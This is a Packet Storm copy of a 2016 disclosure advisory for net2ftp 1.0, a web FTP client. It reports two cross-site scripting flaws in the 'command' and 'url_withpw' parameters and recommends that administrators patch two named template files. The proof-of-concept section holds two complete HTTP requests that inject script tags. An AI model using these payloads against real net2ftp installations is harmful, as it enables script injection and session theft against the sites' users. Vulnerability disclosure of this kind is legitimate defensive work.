Twenty Year Anniversary

net2ftp 1.0 Cross Site Scripting

net2ftp 1.0 Cross Site Scripting
Posted Aug 4, 2016
Authored by Jacobo Avariento

net2ftp version 1.0 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | bee2f7b8ff9add9779f1427cda93848b

net2ftp 1.0 Cross Site Scripting

Change Mirror Download
*Summary*

Subject: net2ftp XSS in "command" and "url_withpw" parameters

Versions vulnerable: ALL (Tested on latest, version 1.0)

Category: 0-day

Impact: Medium

*Description of the product*

net2ftp is a web based FTP client (_http://www.net2ftp.com/index.php_
<http://www.net2ftp.com/index.php>). It can be used as a standalone version and also integrated in some web platforms as ISP providers, e-commerce sites and other websites.

*Description of the vulnerabilities*

Doing a vulnerability research on net2ftp, latest version 1.0. Jacobo Avariento had found several cross-site scripting (XSS) found in _skins/shinra/bookmark1.template.php_ (line 18) "url_withpw" parameter, and in _skins/shinra/raw1.template.php_ (line 5) with "command" parameter.

The first, parameter "url_withpw" is triggered when the user is placing a bookmark on that FTP connection.

The second, parameter "command", is triggered when the user access the FTP interactive mode for sending FTP arbitrary commands to the server.

*Proof of concept*

--- Parameter "command" ---

POST /net2ftp_v1.0/files_to_upload/index.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: _http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php_
<http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php>
Cookie: net2ftpcookie_ftpserver=192.168.1.103; net2ftpcookie_ftpserverport=21; net2ftpcookie_username=anonymous; net2ftpcookie_language=en; net2ftpcookie_skin=shinra; net2ftpcookie_ftpmode=automatic; net2ftpcookie_passivemode=no; net2ftpcookie_protocol=FTP; net2ftpcookie_viewmode=list; net2ftpcookie_directory=%2F; PHPSESSID=HNM7kDAFz3Gpi%2CCUYHlUEt5nlmf
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 391

ftpserver=192.168.1.103&ftpserverport=21&username=anonymous&language=en&skin=shinra&ftpmode=automatic&passivemode=no&protocol=FTP&viewmode=list&sort=&sortorder=&state=raw&state2=main&directory=%2F&screen=&*command=*CWD+%0D%0APWD%0D%0A*%3C%2Ftextarea%3E%3Cscript%3Ealert%28%22Sofistic%22%29%3B%3C%2Fscript%3E*&text=501+Invalid+number+of+arguments%0D%0A257+%22%2F%22+is+the+current+directory%0D%0A

----------------------------------------



--- Parameter "url_withpw" ---

POST /net2ftp_v1.0/files_to_upload/index.php HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: _http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php_
<http://192.168.1.103/net2ftp_v1.0/files_to_upload/index.php>
Cookie: net2ftpcookie_ftpserver=192.168.1.103; net2ftpcookie_ftpserverport=21; net2ftpcookie_username=anonymous; net2ftpcookie_language=en; net2ftpcookie_skin=shinra; net2ftpcookie_ftpmode=automatic; net2ftpcookie_passivemode=no; net2ftpcookie_protocol=FTP; net2ftpcookie_viewmode=list; net2ftpcookie_directory=%2F; PHPSESSID=HNM7kDAFz3Gpi%2CCUYHlUEt5nlmf
Connection: close
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 1141

ftpserver=192.168.1.103&ftpserverport=21&username=anonymous&language=en&skin=shinra&ftpmode=automatic&passivemode=no&protocol=FTP&viewmode=list&sort=&sortorder=&state=bookmark&state2=main&directory=%2F&*url_withpw=*%2Fnet2ftp_v1.0%2Ffiles_to_upload%2Findex.php%3Fftpserver%3D192.168.1.103%26amp%3Bftpserverport%3D21%26amp%3Busername%3Danonymous%26amp%3Bpassword_encrypted%3D%26amp%3Blanguage%3Den%26amp%3Bskin%3Dshinra%26amp%3Bftpmode%3Dautomatic%26amp%3Bpassivemode%3Dno%26amp%3Bprotocol%3DFTP%26amp%3Bviewmode%3Dlist%26amp%3Bsort%3D%26amp%3Bsortorder%3D%26amp%3Bstate%3Draw%26amp%3Bstate2%3Dmain%26amp%3Bdirectory%3D%252F%26amp%3Bentry%3D*%22%3C%2Fa%3E%3Cscript%3Ealert%28%22Sofistic%22%29%3B%3C%2Fscript%3E*&url_withoutpw=%2Fnet2ftp_v1.0%2Ffiles_to_upload%2Findex.php%3Fftpserver%3D192.168.1.103%26amp%3Bftpserverport%3D21%26amp%3Busername%3Danonymous%26amp%3Blanguage%3Den%26amp%3Bskin%3Dshinra%26amp%3Bftpmode%3Dautomatic%26amp%3Bpassivemode%3Dno%26amp%3Bprotocol%3DFTP%26amp%3Bviewmode%3Dlist%26amp%3Bsort%3D%26amp%3Bsortorder%3D%26amp%3Bstate%3Dlogin_small%26amp%3Bstate2%3Dbookmark%26amp%3Bgo_to_state%3Draw%26amp%3Bgo_to_state2%3Dmain%26amp%3Bdirectory%3D%252F%26amp%3Bentry%3D&text=net2ftp+192.168.1.103

----------------------------------------

*Impact*

Due to a possible lack of validation of cookie and session parameters it is possible to trigger the attacks directly, without need to log in in the server or the website.

Because of this circumstances, the risk of the vulnerability is tagged as "medium" as there is no authentication and can be triggered in any net2ftp software online. It has been proved that several ISP providers use this software for their clients, among other customers.

*Timeline*

Jul 24/2016: The vendor has been already contacted, no reply until date of public diclosure.

*Actions***

We recommend all sysadmins and web developers who are using net2ftp software to review the files _skins/shinra/bookmark1.template.php_ and _skins/shinra/raw1.template.php_ manually, and patch the XSS because no official patches are released or planned yet.

*Contact***

Jacobo Avariento

Jacobo -*- sofistic -*- com





-----------------------------------------------
Jacobo Avariento
Cybersecurity Consultant / Pentester

Sofistic S.A., Panama City


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    6 Files
  • 21
    May 21st
    1 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close